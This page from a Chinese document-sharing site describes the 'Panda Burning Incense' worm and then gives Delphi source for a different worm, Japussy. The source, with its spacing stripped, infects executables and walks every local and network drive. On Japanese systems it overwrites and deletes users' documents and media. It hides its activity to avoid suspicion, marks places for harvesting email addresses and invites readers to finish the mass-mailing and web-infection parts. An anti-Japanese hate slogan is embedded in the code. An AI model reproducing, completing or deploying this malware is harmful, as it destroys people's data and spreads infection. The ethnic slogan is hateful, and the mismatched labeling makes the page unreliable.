版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
1、“熊猫烧香”简介:“熊猫烧香”病毒是一个能在电脑操作系统上运行的蠕虫病毒。采用“熊猫烧香”头像作为图标。它的变种会感染EXE可执行文件,被病毒感染的文件图标均变为“熊猫烧香”。同时,受感染的计算机还会出现蓝屏、频繁重启以及文件被破坏等现象。该病毒会在中毒电脑中所有的网页文件尾部添加病毒代码。目前已有百万台电脑受害。programJapussy;usesWindows,SysUtils,Classes,Graphics,ShellAPI,Registry;constHeaderSize=82432;/病毒体的大小IconOffset=$12EB8;/PE文件主图标的偏移量/在我的Delphi5S
2、P1上面编译得到的大小,其它版本的Delphi可能不同/查找2800000020的十六进制字符串可以找到主图标的偏移量HeaderSize=38912;/Upx压缩过病毒体的大小IconOffset=$92BC;/Upx压缩过PE文件主图标的偏移量/Upx1.24W用法:upx-9-8086Japussy.exeIconSize=$2E8;/PE文件主图标的大小-744字节IconTail=IconOffset+IconSize;/PE文件主图标的尾部ID=$44444444;/感染标记/垃圾码,以备写入Catchword=Ifaraceneedtobekilledout,itmustbeYa
3、mato.+Ifacountryneedtobedestroyed,itmustbeJapan!+*W32.Japussy.Worm.A*;$R*.RESfunctionRegisterServiceProcess(dwProcessID,dwType:Integer):Integer;stdcall;externalKernel32.dll;/函数声明varTmpFile:string;Si:STARTUPINFO;Pi:PROCESS_INFORMATION;IsJap:Boolean=False;/日文操作系统标记判断是否为Win9xfunctionIsWin9x:Boolean;var
4、Ver:TOSVersionInfo;beginResult:=False;Ver.dwOSVersionInfoSize:=SizeOf(TOSVersionInfo);ifnotGetVersionEx(Ver)thenExit;if(Ver.dwPlatformID=VER_PLATFORM_WIN32_WINDOWS)then/Win9xResult:=True;end;在流之间复制procedureCopyStream(Src:TStream;sStartPos:Integer;Dst:TStream;dStartPos:Integer;Count:Integer);varsCurP
5、os,dCurPos:Integer;beginsCurPos:=Src.Position;dCurPos:=Dst.Position;Src.Seek(sStartPos,0);Dst.Seek(dStartPos,0);Dst.CopyFrom(Src,Count);Src.Seek(sCurPos,0);Dst.Seek(dCurPos,0);end;将宿主文件从已感染的PE文件中分离出来,以备使用procedureExtractFile(FileName:string);varsStream,dStream:TFileStream;begintrysStream:=TFileStrea
6、m.Create(ParamStr(0),fmOpenReadorfmShareDenyNone);trydStream:=TFileStream.Create(FileName,fmCreate);trysStream.Seek(HeaderSize,0);/跳过头部的病毒部分dStream.CopyFrom(sStream,sStream.Size-HeaderSize);finallydStream.Free;end;finallysStream.Free;end;exceptend;end;填充STARTUPINFO结构procedureFillStartupInfo(varSi:ST
7、ARTUPINFO;State:Word);beginSi.cb:=SizeOf(Si);Si.lpReserved:=nil;Si.lpDesktop:=nil;Si.lpTitle:=nil;Si.dwFlags:=STARTF_USESHOWWINDOW;Si.wShowWindow:=State;Si.cbReserved2:=0;Si.lpReserved2:=nil;end;发带毒邮件procedureSendMail;begin/哪位仁兄愿意完成之?end;感染PE文件procedureInfectOneFile(FileName:string);varHdrStream,Src
8、Stream:TFileStream;IcoStream,DstStream:TMemoryStream;iID:LongInt;aIcon:TIcon;Infected,IsPE:Boolean;i:Integer;Buf:array0.1ofChar;begintry/出错则文件正在被使用,退出ifCompareText(FileName,JAPUSSY.EXE)=0then/是自己则不感染Exit;Infected:=False;IsPE:=False;SrcStream:=TFileStream.Create(FileName,fmOpenRead);tryfori:=0to$108d
9、o/检查PE文件头beginSrcStream.Seek(i,soFromBeginning);SrcStream.Read(Buf,2);if(Buf0=#80)and(Buf1=#69)then/PE标记beginIsPE:=True;/是PE文件Break;end;end;SrcStream.Seek(-4,soFromEnd);/检查感染标记SrcStream.Read(iID,4);if(iID=ID)or(SrcStream.Size10240)then/太小的文件不感染Infected:=True;finallySrcStream.Free;end;ifInfectedor(no
10、tIsPE)then/如果感染过了或不是PE文件则退出Exit;IcoStream:=TMemoryStream.Create;DstStream:=TMemoryStream.Create;tryaIcon:=TIcon.Create;try/得到被感染文件的主图标(744字节),存入流aIcon.ReleaseHandle;aIcon.Handle:=ExtractIcon(HInstance,PChar(FileName),0);aIcon.SaveToStream(IcoStream);finallyaIcon.Free;end;SrcStream:=TFileStream.Creat
11、e(FileName,fmOpenRead);/头文件HdrStream:=TFileStream.Create(ParamStr(0),fmOpenReadorfmShareDenyNone);try/写入病毒体主图标之前的数据CopyStream(HdrStream,0,DstStream,0,IconOffset);/写入目前程序的主图标CopyStream(IcoStream,22,DstStream,IconOffset,IconSize);/写入病毒体主图标到病毒体尾部之间的数据CopyStream(HdrStream,IconTail,DstStream,IconTail,Hea
12、derSize-IconTail);/写入宿主程序CopyStream(SrcStream,0,DstStream,HeaderSize,SrcStream.Size);/写入已感染的标记DstStream.Seek(0,2);iID:=$44444444;DstStream.Write(iID,4);finallyHdrStream.Free;end;finallySrcStream.Free;IcoStream.Free;DstStream.SaveToFile(FileName);/替换宿主文件DstStream.Free;end;except;end;end;将目标文件写入垃圾码后删除
13、procedureSmashFile(FileName:string);varFileHandle:Integer;i,Size,Mass,Max,Len:Integer;begintrySetFileAttributes(PChar(FileName),0);/去掉只读属性FileHandle:=FileOpen(FileName,fmOpenWrite);/打开文件trySize:=GetFileSize(FileHandle,nil);/文件大小i:=0;Randomize;Max:=Random(15);/写入垃圾码的随机次数ifMax5thenMax:=5;Mass:=Sizediv
14、Max;/每个间隔块的大小Len:=Length(Catchword);whileiMaxdobeginFileSeek(FileHandle,i*Mass,0);/定位/写入垃圾码,将文件彻底破坏掉FileWrite(FileHandle,Catchword,Len);Inc(i);end;finallyFileClose(FileHandle);/关闭文件end;DeleteFile(PChar(FileName);/删除之exceptend;end;获得可写的驱动器列表functionGetDrives:string;varDiskType:Word;D:Char;Str:string;
15、i:Integer;beginfori:=0to25do/遍历26个字母beginD:=Chr(i+65);Str:=D+:;DiskType:=GetDriveType(PChar(Str);/得到本地磁盘和网络盘if(DiskType=DRIVE_FIXED)or(DiskType=DRIVE_REMOTE)thenResult:=Result+D;end;end;遍历目录,感染和摧毁文件procedureLoopFiles(Path,Mask:string);vari,Count:Integer;Fn,Ext:string;SubDir:TStrings;SearchRec:TSearc
16、hRec;Msg:TMsg;functionIsValidDir(SearchRec:TSearchRec):Integer;beginif(SearchRec.Attr16)and(SearchRec.Name.)and(SearchRec.Name.)thenResult:=0/不是目录elseif(SearchRec.Attr=16)and(SearchRec.Name.)and(SearchRec.Name.)thenResult:=1/不是根目录elseResult:=2;/是根目录end;beginif(FindFirst(Path+Mask,faAnyFile,SearchRec
17、)=0)thenbeginrepeatPeekMessage(Msg,0,0,0,PM_REMOVE);/调整消息队列,避免引起怀疑ifIsValidDir(SearchRec)=0thenbeginFn:=Path+SearchRec.Name;Ext:=UpperCase(ExtractFileExt(Fn);if(Ext=.EXE)or(Ext=.SCR)thenbeginInfectOneFile(Fn);/感染可执行文件endelseif(Ext=.HTM)or(Ext=.HTML)or(Ext=.ASP)thenbegin/感染HTML和ASP文件,将Base64编码后的病毒写入/
18、感染浏览此网页的所有用户/哪位大兄弟愿意完成之?endelseifExt=.WABthen/Outlook地址簿文件begin/获取Outlook邮件地址endelseifExt=.ADCthen/Foxmail地址自动完成文件begin/获取Foxmail邮件地址endelseifExt=INDthen/Foxmail地址簿文件begin/获取Foxmail邮件地址endelsebeginifIsJapthen/是倭文操作系统beginif(Ext=.DOC)or(Ext=.XLS)or(Ext=.MDB)or(Ext=.MP3)or(Ext=.RM)or(Ext=.RA)or(Ext=.W
19、MA)or(Ext=.ZIP)or(Ext=.RAR)or(Ext=.MPEG)or(Ext=.ASF)or(Ext=.JPG)or(Ext=.JPEG)or(Ext=.GIF)or(Ext=.SWF)or(Ext=.PDF)or(Ext=.CHM)or(Ext=.AVI)thenSmashFile(Fn);/摧毁文件end;end;end;/感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑Sleep(200);until(FindNext(SearchRec)0);end;FindClose(SearchRec);SubDir:=TStringList.Create;if(F
20、indFirst(Path+*.*,faDirectory,SearchRec)=0)thenbeginrepeatifIsValidDir(SearchRec)=1thenSubDir.Add(SearchRec.Name);until(FindNext(SearchRec)0);end;FindClose(SearchRec);Count:=SubDir.Count-1;fori:=0toCountdoLoopFiles(Path+SubDir.Strings+,Mask);FreeAndNil(SubDir);end;遍历磁盘上所有的文件procedureInfectFiles;varDriverList:string;i,Len:Integer;beginifGetACP=932then/日文操作系统IsJap:=True;/去死吧!DriverList:=GetDrives;
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 减少护理不良事件发生率:QCC实践方法
- 过元宵周记(12篇)
- 学校食堂饮料小食品配送服务方案投标文件(技术方案)
- 2026年化验室安全生产目标
- 2026年小学圣诞节活动方案
- 内江市2025上半年四川内江市市本级部分事业单位考试招聘工作人员(47人)笔试历年参考题库典型考点附带答案详解
- 光明区2024年4月广东深圳市光明区政务服务数据管理局招聘一般类岗位专干2人笔试历年参考题库典型考点附带答案详解
- 从化区2025广东广州市从化区教育局第二次招聘事业单位编制教职员113人笔试历年参考题库典型考点附带答案详解
- 还款承诺书(集合15篇)
- 2026重庆飞驶特人力资源管理有限公司成都分公司外派至南充过境高速运营人员招聘笔试历年备考题库附带答案详解
- 全球及中国医药喷雾泵市场竞争风险及供需前景预测研究报告
- 动画运动规律
- 消防阀门更换施工方案(3篇)
- 2021建筑隔震设计标准
- 2026年阿里云ACP认证练习题及答案
- 模袋混凝土护坡工程实施措施
- 雨课堂学堂在线学堂云《云计算与大数据技术(北京联合大学 )》单元测试考核答案
- 2024年德阳辅警协警招聘考试真题含答案详解(完整版)
- 2024人教版七年级数学上册全册教案
- 如何成为行业专家
- 2025济南水务集团有限公司招聘笔试相关情况模拟试卷及完整答案详解
评论
0/150
提交评论